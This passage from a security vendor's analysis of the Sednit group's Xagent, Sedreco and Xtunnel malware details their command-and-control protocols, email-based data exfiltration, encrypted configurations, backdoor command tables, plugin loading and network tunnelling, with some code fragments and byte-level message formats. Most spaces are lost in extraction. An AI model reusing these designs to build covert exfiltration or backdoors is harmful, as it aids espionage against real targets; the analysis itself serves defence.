SimilartoXagent,theoperatorsthereforeseemtodeploy thecomponentsoftheproxyserveronlyifneeded,andthisonewasintended torelayMailChanneltrafficonly.
On the Agent The MailChannel::sendRawPacket()methodisinchargeofsendingCryptRawPacketobjects asemailattachments.
Forthatpurpose,thecodecontainsanSMTPserveraddresswithanemail addressandapasswordtologin,plusarecipientemailaddresstowhichtheemailswillbesent.
Dependingonthesample,thisrecipientemailaddressmaybelongtoafreemailprovider,acustom Sednitdomain,orevenahackedtarget.
BuildingaCCprotocoloveremailbringsatleasttwoproblemsfortheoperators:theyneed tobeabletodistinguishXagentemailsfromunrelatedemailsintheinbox(likespamemails), andtheyneedtobypassspamfilters.
Todoso,theyimplementedaprotocolnamedP2Scheme (anddubbedP2hereafter),whichdefinestheformatoftheemails.
Thisprotocolisdescribed asalevel2protocolbythedevelopers,anddefinesthefollowingemailfields: The email subjectisthebase64encodingofavaluefollowingtheformatpicturedinFigure11.
Figure 11.
Email subject generated by the P2 protocol.
Inthisformat,theKeyispseudo-randomlygenerated,whileSUBJ_TOKENisa7-bytevalue hardcodedinthesourcecodeandstrangelycontainingthestringchina(prefixedwithbytes0x55 0xAA).ThisspecificsubjectservestodistinguishXagentemailsfromunrelatedemailsinaninbox, aswewillexplain.
The email bodyandtheattachment namearethebase64encodingsofpseudo-randomly generatedvalues.
The boundary value,usedtoseparateaMIMEmultipartmessageinparts[17],isapseudo- randomlygeneratedvalue.
Nevertheless,inpracticeonlytheboundaryisactuallygeneratedwiththeP2protocol,asthecode togeneratetheothersfieldshasbeencommentedoutintheLinuxsourcecode.
Instead,thesefields aresettofixedvalues,likelychosentoavoidattractingattentionfromGeorgiantargets: theemailsubjectissettopiradi nomeri,whichreferstoanationalIDnumberinGeorgian theemailbodyissettogamarjoba,whichmeanshelloinGeorgian theattachmentnameissettodetaluri_X.dat,whereXisthecurrenttime(detaluri meansdetailedinGeorgian) 0 165 12 Agent ID xor key Key SUBJ_TOKEN xor key En Route with Sednit 66 Georgianinstitutionsarewell-knowntargetsoftheSednitgroup, asdocumentedbyFireEyein2014[9].
Oncetheemailhasbeenbuilt,theCryptRawPacketobjectisaddedasanattachment.
Finally, theemailissentwiththeSMTPprotocoloverTLStotherecipientemailaddress(exfilexample.com in Figure10).Itwillberetrievedbytheproxyserver,andthemessagewillbeforwarded totheCCserver,aswewilldescribebelow.
Intheotherdirection,theMailChannel::getRawPacket()methodretrievesemailscontaining messagesfromtheCCserverwiththePOP3protocoloverTLS.Theemailaddresstoreceivemessages isadifferentonethantheoneusedtosendmessages(ordersexample.com in Figure10).Foreach receivedemail,themethodchecksthatthesubjectissettopiradi nomeriand,ifso,instantiates aCryptRawPacketobjectfromtheattachment,whichisthentransmittedtotheintendedmodule.
On the Proxy Server The MailServer.pyscriptmanagesthecommunicationsbyemailswiththeagents.
Todoso, itregularlyfetchesemailsfromtheinboxagentshavesenttheirmessagesto(exfilexample.com in Figure10).
ThescriptthenchecksforeachemailwhetherthesubjectmatchestheP2protocolthatis,ifonce decodeditcontainstheSUBJ_TOKENvalue(seeFigure11).Alternatively,itcheckswhetherthesubject issettopiradi nomeri,whichisthecasewiththeLinuxsourcecodeaswejustexplained.
Ifthesubjectisvalid,MailServer.pystorestheemailattachmentintoaFROMfolderassociated withthesenderagent,usingacustomformatdefinedinaclassnamedP3Scheme.
Thisformat,dubbed level3protocol,isavariationoftheonepresentedinFigure8fortheHTTPtoken:namely, thelengthofJunkissetto9andthehardcodedvalueisdifferent.
ThescriptLocalStorage.pymanagesastoragewithaFROMandTO folderforeachagentthatsentanemailtothemonitoredinbox(theagentID beingretrievedfromtheCryptRawPacketattachedtotheemail).
Thesecondimportantscriptisw3s.py,whichmanagestheHTTPcommunicationswiththeCCserver.
Forallknownagents,thescriptretrievesthemessagesdroppedintheFROMfolder,andsendsthem totheCCserverinthebodyofaHTTP POSTrequest.
TheURLforthisrequestisbuiltbythefollowing Pythoncode: ThevaluesXAS_IPandXAS_GATEarerespectivelytheCCserveraddressandURLpath, whileSERVER_UIDisa4-bytevalueidentifyingtheproxyserver.
TheP3_Scheme.pack_service_ data()methodencodesdatafollowingthepreviously-describedP3format.
BASE_URL  http://  XAS_IP  XAS_GATE def url_for_agent(agent_id): url  BASE_URL  ?
s  P3_Scheme.pack_service_data(struct.pack(I, SERVER_ UID)) \ a  P3_Scheme.pack_data(struct.pack(I, agent_id)) return url En Route with Sednit 67 Intheotherdirection,thew3s.pyscriptregularlysendsaHTTP GETrequesttotheCCserver, ontheURLpreviouslydescribed,forallknownagents.
ThebodyoftheCCanswerisamessage encodedwiththeP3protocolthatwillbestoredintheTOfolder.
Then,theMailServer.pyscript willretrievethemessageandattachittoanemailfollowingtheP2protocol,whichwillbesent totheagent.
Fromthelogfilescontainedintheproxyopenfolder,wecaninferthatitwas aWindowsserverconfiguredintheRussianlanguage(Pythonconsoleerror messageswereoutputinRussianlanguage).
Conclusion and Open Questions Xagentisawell-designedbackdoorthathasbecometheflagshipespionagemalwareoftheSednit groupoverthepastfewyears.
TheabilitytocommunicateoverHTTPorviaemailsmakeitaversatile toolfortheoperators.
Moreover,theexistenceofXagentversionsforWindows,LinuxandiOSshowstheimportance ofthisbackdoorintheirarsenal.
Wespeculatethatthereareversionsforothersplatforms,likeAndroid.
En Route with Sednit 68 SEdRECO: ThE flEXIblE baCkdOOR Identikit Sedreco serves as a spying backdoor, whose functionalities can be extended with dynamically loaded plugins.
It is made up of two distinct components: a dropper and the persistent payload installed by this dropper.
Alternative Names AZZY Usage Sedrecoisdeployedontargetsdeemedinterestingafter areconnaissancephase.
Itservesforlong-termespionage, thankstothenumerouscommandsprovidedbyitspayload.
Known period of activity May2012toJuly2016.Probablystillinuseatthetimeofwriting (August2016).
Known deployment methods DownloadedbySeduploader DownloadedbyDowndelph Distinguishing characteristics The Sedrecopayloadreliesonaconfigurationusuallystored inaregistrykeynamedPath,orinafilenamedmsd,andinitially embeddedintheSedrecodropper The SedrecopayloadcreatesamutexnamedMutYzAz or AZZYMTX TheinboundandoutboundcommunicationsofSedrecos payloadwithitsCCserverarebufferedintotwofiles, respectivelynamed__2315tmp.datand__4964tmp.dat En Route with Sednit 69 Context Sedrecohastwobinarycomponents,adropperandthespyingbackdoorusuallycontained inthisdropper.
ThedropperpartofSedrecohasalsobeenusedtodeployadifferentpayload: alightweightdownloader(notdescribedinthiswhitepaper)namedmsdeltemp.dllbyitsdevelopers.
WebelieveSedrecowasfirstusedin2012,whileouranalysiswasperformedonsamples compiledmid-2016.
Dropper Workflow TheworkflowofSedrecosdropperiscomposedofthefivestepspresentedinFigure12.
Figure 12.
Dropper workflow with the developers names for each step Whilestraightforward,thisworkflowpossessessomefeaturesworthmentioning: Thepayloadconfigurationisinstalledonthesystembythedropper,inafileorinaregistry key,dependingonthesample.
ItmeansthatanalyzingaSedrecopayloadsampleitselfwill notrevealconfigurationinformation,suchastheCCserveraddress(configurationcontent willbedescribedbelow).
Payloadpersistenceisusuallyensuredbyregisteringanauto-startentryintheWindows Registry,butwehaveobservedothermethods,likeregisteringthepayloadasaShellIcon OverlayhandlerCOMobject[18].
Duringitsexecutionthedropperbuildsasmallreport,whichisthensenttotheCCserver.
Hereisanexampleofsuchareport: Eachlinecorrespondstoonestepofthedropperworkflow,asdescribedinFigure12.
Thevalue0meanssuccess,whiletherewouldbeanerrorcodereturnedfromtheWindowsAPI GetLastErrorotherwise.
Configuration dropping Payload dropping Payload persistence Payload execution Report to CC server INST MSD INST FL INST RUN ST DL INST MSD0 INST FL0 INST RUN0 ST DL0 En Route with Sednit 70 Payload Workflow InthissectionwewilldescribetheinternalworkingoftheSedrecopayload:first,itsconfiguration fileformatsecond,thecommandsitcanexecutethen,howitcommunicateswithitsCCserver andfinally,howitsfunctionalitycanbeextendedwithplugins.
Configuration ThefirstactionofSedrecospayloadistoretrievetheconfigurationfilepreviouslyinstalled bythedropper.
Thisconfigurationfileconsistsofaseriesofvariably-sizeddatafields,preceded byaheader,asdescribedinFigure13.
Figure 13.
Extract of Sedreco configuration.
The names of the fields are those created by ESETs analysts.
Field sizes are in bytes.
Theconfigurationisencryptedwithacustomalgorithmusinga6-bytekeystoredatitsbeginning.
AnimplementationofthisalgorithminPythoncanbefoundinESETsGitHubrepository[10].
Followingthekeycome101-bytefields,eachofthemcontainingthesizeofacorresponding datafield.
Thosedatafieldscontainthefollowingvalues(ESETsnames): 1.
Timer1:TimetowaitbetweentwoattemptstoasktheCCserverforacommand toexecute(usuallysetto10minutes) 2.
Timer2:TimetowaitbetweentwoattemptstoexfiltratedatatotheCCserver(usually setto10minutes) 3.
Computer Name:Computernametowhichapseudo-randomlygenerated6-bytevalue isappended,plusatwo-bytevaluehardcodedinthedropper 4.
CC1:DomainnameofthefirstCCserver 5.
CC2:DomainnameofthesecondCCserver 6.
Operation Name:4-characterstringinitiallyhardcodedinthedropper,whichlikely identifiestheoperationorthetarget.
Sofar,wehaveobservedthefollowingvalues:rhze, rhdn,rhst,rhbp,mtfs,mctf,mtqs.
Wedonotknowtheexactmeaningofthesevalues.
7.
Keylogger MaxBuffer:Maximumsizeofthememorybufferwherekeystrokesarelogged, beforetheyaredumpedtotheoutboundfile(describedbelow) 8.
Keylogger MaxTimeout:Maximumtimetowaitbeforetheloggedkeystrokesaredumped totheoutboundfile(describedbelow) 9.
Keylogger Flag:Specifywhethertoenablethekeyloggerornot 10.CC3:DomainnameofthethirdCCserver 0 16 17 18 28 29 35 41 6 Key 7 Timer1 size 8 Timer2 size 9 Computer name size 10 CC1 size 11 CC2 size 12 Operation name size 13 Keylogger MaxBuer size 14 Keylogger MaxTimeout size 15 Keylogger flag 16 CC3 size Plugin1 path size Plugin2 path size Plugin10 path size Timer1 Timer2 Legend Header Data En Route with Sednit 71 ThenexttendatafieldsarethepathstothepluginsthatSedrecowillloadatstartup.
Thesefields areinitiallyempty,andareupdatedwhenSedrecoreceivesaplugintoloadfromtheCCserver.
Commands Onceitisrunning,Sedrecoprovidesnumerouscommandstoitsoperators,identifiedbyanumber, asdescribedinTable4.Thosecommandsallowtheattackerstospyonthetarget,butalsotocollect informationonothercomputersaccessiblefromthecompromisedmachine.
Table 4.
Sedreco payload commands Number Purpose Number Purpose 0 Updateconfigurationvalue 14 Terminateprocess 1 Loadplugin 15 Listloadedplugins 2 Unloadplugin 16 RunWindowsshellcommand (outputtemporarilystoredinafile namedtmp.dat) 3 Startkeylogger 17 Listconnecteddevices 4 Stopkeylogger 18 UpdateSedrecopayloadbinary ondisk 5 Listdirectories 19 Readfilefromaspecifiedoffset 6 Readfile 20 Mapnetworkresources 7 Writefile 21 RunsysteminfoWindowsshell command 8 Deletefileordirectory 22 Listfilesanddirectories 9 Enumerateregistrykey 23 Readfile(wrapperforcommand6) 10 Writeregistrykey 24 RunagivenSedrecocommand 11 Deleteregistrykey 25 Createthread 12 Listrunningprocesses 36 StartremoteshelloverHTTP (plugincommand,seebelow) 13 Createprocess Interestingly,thecommandsareregisteredatruntimebycallinganinternalfunctionusually exportedunderthenameRegisterNewCommandwiththecommandnumberandtheaddress ofthecommandhandler.
Forexample,Figure14showstheregistrationofthefirstsixcommands.
Figure 14.
Command registration  CMD functions are the commands handlers En Route with Sednit 72 ThismechanismmakesSedrecoaflexiblebackdoor,whichincludesonlythecommandsinasample thatarecurrentlyneeded(whichmeansinparticularthatthepreviouslistofcommandsmay notbecomplete).Italsoallowspluginstoeasilyregisternewcommands,aswewillexplainlater.
Communications with the CCserver SedrecocommunicateswithitsCCserverinaquiteunusualway,picturedinFigure15.
Figure 15.
Data flow between Sedreco on a compromised host and its CCserver Ononehand,SedreconetworkthreadsperiodicallyasktheCCserverfororders,andstorethem inaninboundfile.
ThoseordersarethenfetchedandprocessedbySedrecocorethreads.
Ontheother hand,thedatatoexfiltrate(loggedkeystrokes,resultsofexecutedcommands,etc)arequeued inanoutboundfile,andperiodicallytransmittedinbulktotheserverbythenetworkthreads.
Asthisasynchronouscommunicationmethodlimitsthenumberofnetworkcontactswiththe CCserver,itmightreducethechanceofattractingattentioninthetargetsnetwork.
Moreover, usingfilesratherthankeepingthedatabufferedinmemoryavoidslosingthedataifthemachine shutsdownorlosesnetworkconnectivity.
Inthefollowingsections,wedescribethenetworkcommunicationsandtheexactformat oftheinbound/outboundfiles.
Inbound Communications SedrecoregularlyasksitsCCserverforacommandtorunusuallyevery10minutes.
TheCCserver domainnamesareretrievedfromtheconfiguration,andtheyarecontactedintheirorderofappearance inthisconfiguration(seeconfigurationformat).Inotherwords,ifthefirstCCserverisupCC1 in Figure13theothersarenevercontacted.
TheactualcontactisaPOSTrequestoverHTTPor,dependingofthesample,HTTPS,ontheURI /update.
Thebodyoftherequestcontainsthebase64-encodingofthedatastructurepictured in Figure16.
Figure 16.
Network contact message format.
Computer name is a variably-sized field Compromised computer Sedreco core threads Sedreco network threads Inbound file (_2315tmp.dat) Outbound file (_4964tmp.dat) CC Server connected to Internet 0 1 5 n-14 n-10 n-6 n Computer name Operation name size  computer name size Encrypted data size KeyType Operation name Legend Encrypted text data Plain text data En Route with Sednit 73 Thisdatastructureisencryptedwiththe6-bytekeystoredattheend,usingthesamealgorithm asthatusedtoencrypttheconfigurationfile.
TheTypefieldissetto0,whichdistinguishesinbound fromoutbound.
TheCCserverwillthenanswerwiththeinformationaboutacommandtorun,thecommands beingstoredintheinboundfilebySedreconetworkthreads.
Theinboundfileisusuallynamed __2315tmp.datandlocatedintheTEMPdirectory.
Thisfileconsistsofaseriesofvariably-sized entries,eachentrycontainingtheinformationfromtheCCserverforonecommandtorun, asdescribedinFigure17.
Figure 17.
Inbound file format.
Field sizes are in bytes Asbefore,eachentrystartswitha6-bytekeytodecrypttheentrydata,againusingthesamealgorithm usedfortheconfiguration.
Thencomesa4-bytemagicvalue,which,inallthesamplesweanalyzed, hastobesetto0x75DF9115forthecommandtobeexecuted.
Theentrymayalsocontainthearguments topasstothecommandhandler.
Finally,Sedrecocorethreadsprocesstheinboundfiletoextractandrunthecommands.
Outbound Communications Sedrecocorethreadsstoretheoutputgeneratedbyacommandexecutionintheoutboundfile, whichisusuallynamed__4964tmp.datandlocatedintheTEMPdirectory.
Similarlytotheinbound file,itconsistsofaseriesofvariably-sizedentries,eachentrydescribingoneparticularcommand execution,asshowninFigure18.
Figure 18.
Outbound file format.
Field sizes are in bytes Eachentrybeginswitha32-byteheader,containinginparticulara4-bytemagicnumber(0xB2745DAF), thecommandreturnstatuscode,atimestampofthecommandexecution(inaSYSTEMTIME Windowsstructure[19]),andtheactualcommandnumber.
Thencomestheoutputdatagenerated bythecommandexecution,compressedwithacustomimplementationoftheLempelZivWelch (LZW)algorithm[20].
0 2 6 Entry 1 data Entry N size Entry N dataNumber of entries Entry 1 size 0 6 10 14 Command number Command arguments (optional) Key Magic Legend Plain text data Encrypted text data 0 2 34 Entry 1 Entry N header Entry NNumber of entries Entry 1 header 0 4 Magic 8 Entry size 12 Command return status 28 Timestamp 32 Command number Legend Plain text data LZW compressed data En Route with Sednit 74 Asourcecodesearchengineallowedustoretrievewhatwebelieve tobetheCsourcecodeoftheLZWalgorithmimplementationemployed bySedreco[21].
Figure19showsanextractofthecompresseddataheader initializationinthesourcecode,withthedistinctiveLZWsignature.
Figure 19.
Extract of LZW algorithm C source code Sedreconetworkthreadsregularlyusuallyevery10minutesfetchthedatafromtheoutbound fileandencryptthemwiththe3DESalgorithmandahardcodedkey.
Thedatastructuredescribed in Figure16isthenappendedtotheencrypteddata,thusactingasafooter.
Inthiscase,theType fieldissetto1.
Finally,theresultingencrypteddataaretransmittedtotheCCserverbySedreconetworkthreads.
Plugins AninterestingfeatureofSedrecoisitsabilitytorunexternalplugins.
Thedownloadingandexecution ofthosepluginscanberequestedbytheCCserverwithcommandnumber1,whiletheirunloading canbeaccomplishedwithcommandnumber2(seecommandslist).
A SedrecoplugincomesasaWindowsDLLwithtwoexportedfunctionsnamedInitandUnInit.
ThepluginisloadedinthesameaddressspaceasSedrecospayloadwithacalltotheWindowsAPI LoadLibraryA.ThepluginsInitexportisthencalled,withthefollowingstructureasitsargument: ((Dword )buff)[0]  0x21575A4C  / LZW signature / ((Dword )buff)[1]  bSize ((Dword )buff)[2]  GetCRC32(data, bSize) lastByte  12 LZWENTRY lzwTable[0x1000] int tableSize  0, beginTable  0x100 for (int k  0 k  0xFF k) lzwTable[k].next  lzwTable[k].substrIndex  0 lzwTable[k].substrSize  1  Dword currentPos  0 while (currentPos  bSize)  /     / struct PluginArguments void RegisterNewCommand   // Developers name (see Figure 13) void FN_read_file     // ESETs name (also applies to next fields) void FN_write_in_outbound_file void FN_unregister_command HKEY_TYPE handle_opened_registry_hive void output_buffer void FN_append_to_output_buffer  En Route with Sednit 75 Thisstructurecontainssomehelperfunctionsaddresses,plussomedataaddresses,fromSedrecos payload,thatthepluginmayneedduringitsexecution.
WeonlyfoundoneSedrecopluginduringourinvestigation.
Onceloadedinmemory,thisplugin registersanewcommand,numbered36,asshowninFigure20.
Figure 20.
Plugin Init export Whencalledbytheoperators,thenewlyregisteredcommandwillopenaremoteWindows shelloverHTTP.
WhenSedrecoexits,thepayloadunloadsallpluginsandcallstheirUnInitexports.
Inthecase ofthepluginweretrieved,thisexportsimplyunregistersthecommanditprovides,asshown in Figure21.
Figure 21.
Plugin UnInit export Interestingly,partsoftheplugincodearesharedwiththeWindowsXagent modulenamedProcessRetranslatorModule(seetable1).Inparticular, thefunctioninchargeofcreatingaWindowsshellprocesswithsomecom- municationpipesisexactlythesameinbothbinaries,includingsomecus- tomerrormessagessuchasEXC_1 Cannot create ExtToProc Pipe.
Conclusion and Open Questions Withitsabilitytoregisternewcommandsdynamically,Sedrecoisaflexiblebackdoorthathasbeen usedformanyyearsbytheSednitgroup.
AninterestingfeatureofSedrecoistheabilitytoloadexternalplugins.
Asweonlyfoundoneplugin, wehopethisreportwillencourageotherresearcherstocontributefurtherpiecestothepuzzle.
Inparticular,itwouldbeinterestingtosearchforothercode-sharingcasesbetweenSedrecoplugins andXagentmodules.
En Route with Sednit 76 XTUnnEl: REaChInG UnREaChablE MaChInES Identikit Xtunnel is a network proxy tool that can relay any kind of network traffic between a CCserver on the Internet and an endpoint computer inside a local network.
Alternative Names XAPS Usage An Xtunnelinfectedmachineservesasanetworkpivottocontact machinesthatarenormallyunreachablefromtheInternet.
Known period of activity May2013toAugust2016(thetimeofwriting).Probablystillinuse.
Known deployment methods None Distinguishing characteristics Xtunnelimplementsacustomnetworkprotocolencapsulated inTransportLayerSecurity(TLS)protocol SinceJune2015,theXtunnelcodehasbeenheavilyobfuscated, butitsstringsremainunobfuscated.
WhilewritteninEnglish, thestringscontainobviousspellingmistakes.
En Route with Sednit 77 Timeline WehaveanalyzedXtunnelsamplesforthreeyears.
Thedatespositedinthetimelinemainlyrely on Xtunnelcompilationtimestampsthatwebelievehavenotbeentamperedwith,because theymatchupwithourtelemetrydata.
Figure 22.
XTunnel major events 2015 February New feature Connection to CCserver through an HTTP proxy 2013 May Oldest known Xtunnel sample 2013 August New feature UDP tunneling 2014 April New feature TLS encryption 2015 May Xtunnel found on the servers of the German politic party Die Linke        , as part of an attack against the Bundestag (the German parliament) 2015 April New feature Command line parameters parser 2015 June New feature Connection to CCserver through a persistent HTTP connection 2015 July Code obfuscation introduced 2016 May Xtunnel found on the servers of the Democratic National Committee (DNC) 2016 August Most recently known Xtunnel sample [22] [23] [7] En Route with Sednit 78 Big Picture XtunnelproxiesnetworktrafficbetweenaCCserverontheInternetandatargetcomputer,hence creatingatunnelbetweenthetwo.
Multipletunnelscanbeopenedatthesametimefrom theCCservertoseveralmachineswithXtunneltakingchargeofroutingthetraffictotheintended computer,asshowninFigure23withcomputersAandB.
Figure 23.
Xtunnel core behavior ThenetworklinkbetweentheXtunnel-infectedmachineandtheCCserverisencryptedtocomplicate networkdetectionattheexternalboundaryofthenetwork.
However,thelinkswiththetarget computersremainunencryptedtoallowanykindoftraffictobesenttothetarget.
Inparticular, itshouldbeemphasizedthatthosetargetcomputersarenotnecessarilyunderthecontrol oftheSednitgroup.
Xtunnelisthedevelopersnameforthissoftware.
Thiswasdetermined bythefunctionexporttableleftunremovedbyitsauthorsinseveralsamples.
Thedevelopersalsoforgottoremoveprogramdatabase(PDB)[24]filepaths, fromwhichwecandeduceanotherinternalname,XAPS.Interestingly, thosePDBpathssometimescontainwordsinRussian,suchas: Thewordtranslatestocopy,while meansNewfolder.
Pivot computer (Xtunnel infected) Target computer A ID 12345 ID 45678 Target computer B Target internal network Internet CC Server H:\last version 23.04\UNvisible crypt version XAPS select - \XAPS_OBJECTIVE\Release\XAPS_OBJECTIVE.pdb C:\Users\John\Documents\ \XAPS_OBJECTIVE\Release\XAPS_ OBJECTIVE.pdb En Route with Sednit 79 Traffic Proxying ThelogicfortrafficproxyingremainedthesameinallXtunnelsamplesthatweanalyzed,whichcover aperiodofthreeyears.
ThiscorebehaviorbeginswithahandshakewiththeCCservertoestablish anRC4-encryptedlink.
TheCCservercanthenorderXtunneltoopenatunnelwithadesignated machine,sothatanydatacomingfromtheCCserverwillbeforwardedtothismachine, andsimilarlyanydatacomingfromthetargetmachinewillbeforwardedtotheCCserver.
Thisprocesscanberepeatedsoastohavemultipletunnelsopenedinparallel,asshowninFigure24 withcomputersAandB,andasexplainedindetailinthefollowingsection.
Figure 24.
Xtunnel communication workflow Encryption Handshake XtunnelmakesacustomencryptionhandshakewithitsCCserver,whoseIPaddressandport areeithergivenascommandlineparametersorhardcodeddirectlyintheprogram.
Thepurpose ofthishandshakeistoshareacryptographickeyforencryptingthelinkbetweenXtunnel andtheCCserverwiththeRC4algorithm.
Encryption handshake Tunnel 1 opening Tunnel 2 opening CC Server connected to Internet Pivot computer (Xtunnel infected) Target computer A Target computer B Sends cryptographic key  proof of correct encryption Orders to open tunnel 1 on computer A Sends fallback port number Sends DATA for tunnel 1 Reports tunnel 1 opened Sends OK Sends DATA TCP connects TCP connects Sends ANSWER Reports tunnel 2 opened Sends DATA2 Reports ANSWER received from tunnel 1 Reports DATA2 received from tunnel 1 Orders to open tunnel 2 on computer B En Route with Sednit 80 Todoso,theXtunnelbinarycontainsaTableTcomposedof256rowsof32byteseach,initiallyfilled withfixedvaluesinthecode,asshowninFigure25.
Figure 25.
Extract of T initialization code Xtunnelpseudo-randomlychoosesone32-byterowofTasthecryptographickeytoshare withtheCCserver.
Theactualhandshakethenstartsbysendingtheoffset O in Tofthechosen rowtotheCCserver.
Thismessagealsoincludesaproof thatthesenderreallyknowsTthatis,theoffsetsentisnot justsomerandom4-bytevalue.
ThisproofconsistsoftherowlocatedatoffsetO  128(modulo256) encryptedwiththechosenkey.
TheCCthencheckstheproofand,assumingitiscorrect,answers OKencryptedwiththechosenRC4key.
Itshouldbeemphasizedthatthechosencryptographickeyisneversentover thenetwork,onlyits4-byteoffsetinT.Thispreventstrafficdecryption byaneavesdroppernotknowingtheTableand,ofcourse,means theCCserveralsoknowsT.
Beforegoingfurther,theCCserverprovidesaportnumbertotheinfectedmachine,which willserveasafallbackincasetheconnectionclosesonthecurrentlyusedportontheCCserver.
Tunneling AtthispointanencryptedlinkhasbeenestablishedbetweenXtunnelanditsCCserver.
TheCCserver canthenusetheXtunnelinfectedmachineasapivottocontactlocalcomputersthatarenormally unreachablefromtheInternet.
En Route with Sednit 81 Todoso,theCCserversendsmessagestoXtunnelbeginning(oncedecrypted)withatwo-byte tunnelidentifierdenotedTunnelIdhereafterandfollowedbydataofarbitrarylength.
When aparticularTunnelIdvalueissentforthefirsttime,itmeanstheCCserverwantstoopenanew tunnel.
Theinformationinthisfirstpacketcontainsdataaboutthetargetmachine:eitheranIPaddress oradomainname,plusaportnumber.
Twoexamplesofsuchtunnel-openingmessagesaregiven in Figures 26.1and26.2.
Figure 26.1 Message to open tunnel 0x100 on IP address 192.168.124.1 and port 4545 Figure 26.2 Message to open tunnel 0x200 on domain name test.com and port 4646 Commands1and3picturedinthesemessagesaretheonlyonesimplement- ed,andXtunnelsearchesforsuchacommandbyteonlywhenitisthefirst timeitreceivedaparticularTunnelIDvalue.
XtunnelthenmakesaTCPconnectiononthedesignatedtargetandifsuccessful,thetunnelisconsidered fullyopened.
Atthispoint,eachmessagefromtheCCserverbeginningwiththecorrespondingTunnelId willbeforwardedtothetargetmachinebyXtunnelafterhavingremovedTunnelIdfromthemessage.
Inotherwords,any kind of TCP data can be sent through the tunnel.
Ontheothersideofthetunnelthetargetmachinecanalsosenddata,andXtunnelwillprefix itwiththeassociatedTunnelIdbeforeforwardingittotheCCserver.
Sinceingeneralthesizeofthedatatobetransferredisunknown,each communicationbetweenCCserverandXtunnelstartswitha4-bytevalue containingthenumberofbytestobesent.
01 00 01 C0 A8 7C 01 11 C1 Command open tunnel by IP IP address (192.168.124.1) Port (4545) TunnelID 02 00 03 08 74 65 73 74 2E 63 6F 6D 12 26 Command open tunnel by domain name Domain name (test.com) Port (4646) TunnelID Domain name length En Route with Sednit 82 Additionally,theCCservercansendthemessageis you live?
[sic]tocheckthestatus ofXtunnel,towhichXtunnelanswersOKifeverythingisfine.
ThequalityofXtunnelcodeisfarfrombeinggoodherearetwoexamples ofincongruitiesfoundintunnelingcode: 1.
Afteratunnelhasbeenopened,Xtunnelreportsa6-bytemessage totheCCservercomposedoftheIPaddressandtheportofthetarget machine.
Exceptthatthedeveloperforgottoincreasethememorypointer afterwritingtheIPaddressinmemory,andthustheportoverwritesthefirst twobytesoftheIPaddress.
Thus,itislikelythattheCCserverdoes notprocessthismessage.
2.
The TunnelIdsentbytheCCserverhappenstobealsousedasthemaximum sizeofdataprocessedfromthereceivedpacket,fornoobviousreason.
Consequently,itisimpossible,forexample,toopenatunnelbyIPaddress withaTunnelIdsmallerthan7,becauseinformationaboutthetarget computertakes7bytesseeFigure26.1,andwillthereforebetruncated.
WespeculatethattheCCserverusuallychooseslargeTunnelIdvalues, explainingwhythisproblemhasgoneunnoticedbytheoperators.
Additional Features ESETresearchershaveretrievedmultipleversionsofXtunnel,startingin2013,whenitapparently wasfirstdeployed,tomid-2016forthemostrecentversions.
Thisallowsustoobserveovertime theintroductionofnewfeaturesaroundthecoretunnelinglogic,sheddinglightontheoperators objectivesandconcerns.
UDP Tunneling (August 2013) XtunnelinitiallyonlyproxiedTCPtraffic,butinAugust2013UDPtraffictunnelingwasintroduced.
Todoso,theCCservercanthenasktoopenatunneloverUDPratherthanTCP.
Strangely,theCCserveraddressusedforUDPtunnelingishardcodedinthebinary(176.31.112.10), andanyCCaddresspotentiallygivenasinputtoXtunnelisignoredeveninrecentsamples.
AsthisparticularCCserverstoppedbeingusedmid-2015,webelieveUDPtunnelingwasatest orafeatureneededonaparticulartarget,andisnotusedanymore.
InsomesamplestheUDPtunnelingcodecontainsafewdebugmessages, suchas: Accordingtothosemessages,theCCserveriscalledclientUDPorTPS bythedevelopers,whereasserverUDPcorrespondstothetargetmachine.
TheTPSacronymremainsmysterioustousinthiscontext.
im wait error 2003 recv from TPS - d error 2002 send to server UDP - d recv from client UDP - d En Route with Sednit 83 TLS Encryption (April 2014) AmajorfeatureintroducedinApril2014istheencryptionofthecommunicationswiththeCCserver withtheTransportLayerSecurity(TLS)protocol[25].ThesenewXtunnelbinariesarestaticallylinked withOpenSSL1.0.1eaversionreleasedinFebruary2013.InsidetheTLSencapsulation,Xtunnel networkprotocolfortunnelingremainsthesame(includingtheRC4encryption).
TheTLScertificateusedbytheCCserverisnotverifiedbyXtunnel, whichmeansanyonecouldplaytheroleofXtunnelCCserver.
HTTP Proxy Connection (February 2015) SomeorganizationsforcetheircomputerstopassthroughanHTTPproxytoaccesstheInternet.
MalwarerunningonsuchmachinesthereforecannotcontacttheCCserverdirectly,buthastopass throughtheproxy.
SednitdeveloperstookthatintoaccountbycreatingspecialXtunnelversions withHTTPproxyawareness.
Inthesebinaries,XtunnelfirsttriestoretrievetheInternetExplorerproxyconfigurationbycalling theWindowsAPIfunctionWinHttpGetIEProxyConfigForCurrentUser[26].Intheeventthat noinformationcanberetrieved,itusesthehardcodedaddress10.1.1.1:8080,whichisthedefault addressoftheSquidcachingproxy[27].ThisintentionisclearlystatedinthePDBpathinoneofthe samples:xaps_through_squid_default_proxy.
OnceaproxyIPaddresshasbeenchosen,XtunnelusestheHTTP CONNECTmethod[28]toreach itsCCserver.
Command Line Parameter Parser (April 2015) Togaininflexibilityandmanagenovelfeatures,inApril2015Xtunneldevelopersintroduced acommandlineparameterparser.
ThisparseracceptstheparametersdescribedinTable5.
Table 5.
Xtunnel Parameters Parameter Prefix Meaning -SSL activateTLStunneling -Si CCserverIPaddress -Sp CCserverport -Up CCserverUDPport(butmanagementcodeismissing) -Pi proxyIPaddress -Pp proxyport -HTTP activateHTTPpersistentconnection(explainedlater) En Route with Sednit 84 InmostXtunnelsamples,theparseractuallyprocessesacommandlinehardcodedinthebinary, withoutevenlookingforinputparameters.
Herearesomeexamplesofsuchcommandlinesfound insomesamples: TheproxyIPaddressesshownintheseexamplesdonotcorrespond toanyknowndefaultproxyaddress,indicatingthatthesebinarieswerelikely compiledforspecifictargets.
HTTP Persistent Connection (June 2015) InJune2015,anovelwaytoconnecttotheCCserverwasintroduced:anHTTPpersistent connection[29].Whenthisfeatureisenabled,XtunnelexchangesdatawithitsCCserver overtheHTTPprotocol(encapsulatedinTLS protocol),probablyasawaytobypassfirewalls.
Toopensuchapersistentconnection,anHTTP GETrequestisencapsulatedinTLS protocolandsent totheCCserver.
ThisrequestcomeswiththeHTTPheaderConnection: keep-alivetoenable thepersistentconnection.
